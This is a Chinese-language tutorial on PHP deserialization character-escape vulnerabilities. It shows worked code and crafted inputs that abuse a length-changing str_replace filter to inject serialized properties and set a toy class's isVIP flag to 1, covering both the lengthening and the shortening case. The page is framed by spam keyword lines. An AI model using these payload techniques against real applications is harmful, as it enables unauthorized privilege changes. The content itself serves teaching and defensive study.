中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP中反序列化字符逃逸的原理

發布時間:2021-08-25 09:47:34 來源:億速云 閱讀:172 作者:chen 欄目:編程語言

本篇內容介紹了“PHP中反序列化字符逃逸的原理”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

PHP反序列化字符逃逸的原理

當開發者使用先將對象序列化,然后將對象中的字符進行過濾,最后再進行反序列化。這個時候就有可能會產生PHP反序列化字符逃逸的漏洞。

詳解PHP反序列化字符逃逸

對于PHP反序列字符逃逸,我們分為以下兩種情況進行討論。

  • 過濾后字符變多

  • 過濾后字符變少

過濾后字符變多

假設我們先定義一個user類,然后里面一共有3個成員變量:usernamepasswordisVIP

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}

可以看到當這個類被初始化的時候,isVIP變量默認是0,并且不受初始化傳入的參數影響。

接下來把完整代碼貼出來,便于我們分析。

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>

這一段程序的輸出結果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,對象序列化之后的isVIP變量是0

這個時候我們增加一個函數,用于對admin字符進行替換,將admin替換為hacker,替換函數如下:

function filter($s){
return str_replace("admin","hacker",$s);
}

因此整段程序如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

這一段程序的輸出為:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

這個時候我們把這兩個程序的輸出拿出來對比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未過濾
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已過濾

可以看到已過濾字符串中的hacker與前面的字符長度不對應了

s:5:"admin";
s:5:"hacker";

在這個時候,對于我們,在新建對象的時候,傳入的admin就是我們的可控變量

接下來明確我們的目標:將isVIP變量的值修改為1

首先我們將我們的現有子串目標子串進行對比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //現有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標子串

也就是說,我們要在admin這個可控變量的位置,注入我們的目標子串

首先計算我們需要注入的目標子串的長度

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的長度為47

因為我們需要逃逸的字符串長度為47,并且admin每次過濾之后都會變成hacker,也就是說每出現一次admin,就會多1個字符。

因此我們在可控變量處,重復47admin,然后加上我們逃逸后的目標子串,可控變量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

程序輸出結果為:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我們可以數一下hacker的數量,一共是47hacker,共282個字符,正好與前面282相對應。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串會被拋棄

我們接著將這個序列化結果反序列化,然后將其輸出,完整代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>

程序輸出如下:

object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到這個時候,isVIP這個變量就變成了1,反序列化字符逃逸的目的也就達到了。

過濾后字符變少

上面描述了PHP反序列化字符逃逸中字符變多的情況。

以下開始解釋反序列化字符逃逸變少的情況。

首先,和上面的主體代碼還是一樣,還是同一個class,與之有區別的是過濾函數中,我們將hacker修改為hack。

完整代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

得到結果:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同樣比較一下現有子串目標子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //現有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標子串

因為過濾的時候,將5個字符刪減為了4個,所以和上面字符變多的情況相反,隨著加入的admin的數量增多,現有子串后面會縮進來。

計算一下目標子串的長度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標子串
//長度為47

再計算一下到下一個可控變量的字符串長度:

";s:8:"password";s:6:"
//長度為22

因為每次過濾的時候都會少1個字符,因此我們先將admin字符重復22遍(這里的22遍不像字符變多的逃逸情況精確,后面可能會需要做調整)

完整代碼如下:(這里的變量里一共有22個admin

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

輸出結果:

注意:PHP反序列化的機制是,比如如果前面是規定了有10個字符,但是只讀到了9個就到了雙引號,這個時候PHP會把雙引號當做第10個字符,也就是說不根據雙引號判斷一個字符串是否已經結束,而是根據前面規定的數量來讀取字符串。

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

這里我們需要仔細看一下s后面是105,也就是說我們需要讀取到105個字符。從第一個引號開始,105個字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

PHP中反序列化字符逃逸的原理

也就是說123456這個地方成為了我們的可控變量,在123456可控變量的位置中添加我們的目標子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標子串

完整代碼為:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

輸出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔細觀察這一串字符串可以看到紫色方框內一共107個字符,但是前面只有顯示105

PHP中反序列化字符逃逸的原理

造成這種現象的原因是:替換之前我們目標子串的位置是123456,一共6個字符,替換之后我們的目標子串顯然超過10個字符,所以會造成計算得到的payload不準確

解決辦法是:多添加2admin,這樣就可以補上缺少的字符。

修改后代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

輸出結果為:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下輸出結果:

PHP中反序列化字符逃逸的原理

可以看到,這一下就對了。

我們將對象反序列化然后輸出,代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>

得到結果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到,這個時候isVIP的值也為1,也就達到了我們反序列化字符逃逸的目的了

“PHP中反序列化字符逃逸的原理”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

岚皋县| 云南省| 萨嘎县| 甘南县| 淮南市| 沁水县| 蓝田县| 西乌| 花垣县| 镇原县| 苍溪县| 枣强县| 三都| 陕西省| 台北市| 南木林县| 桃源县| 伊通| 阳高县| 芜湖市| 澜沧| 青冈县| 江陵县| 河南省| 竹北市| 玛多县| 句容市| 乌拉特前旗| 望城县| 安乡县| 万载县| 祁门县| 科技| 民丰县| 柞水县| 乃东县| 新建县| 富裕县| 大足县| 河北区| 内乡县|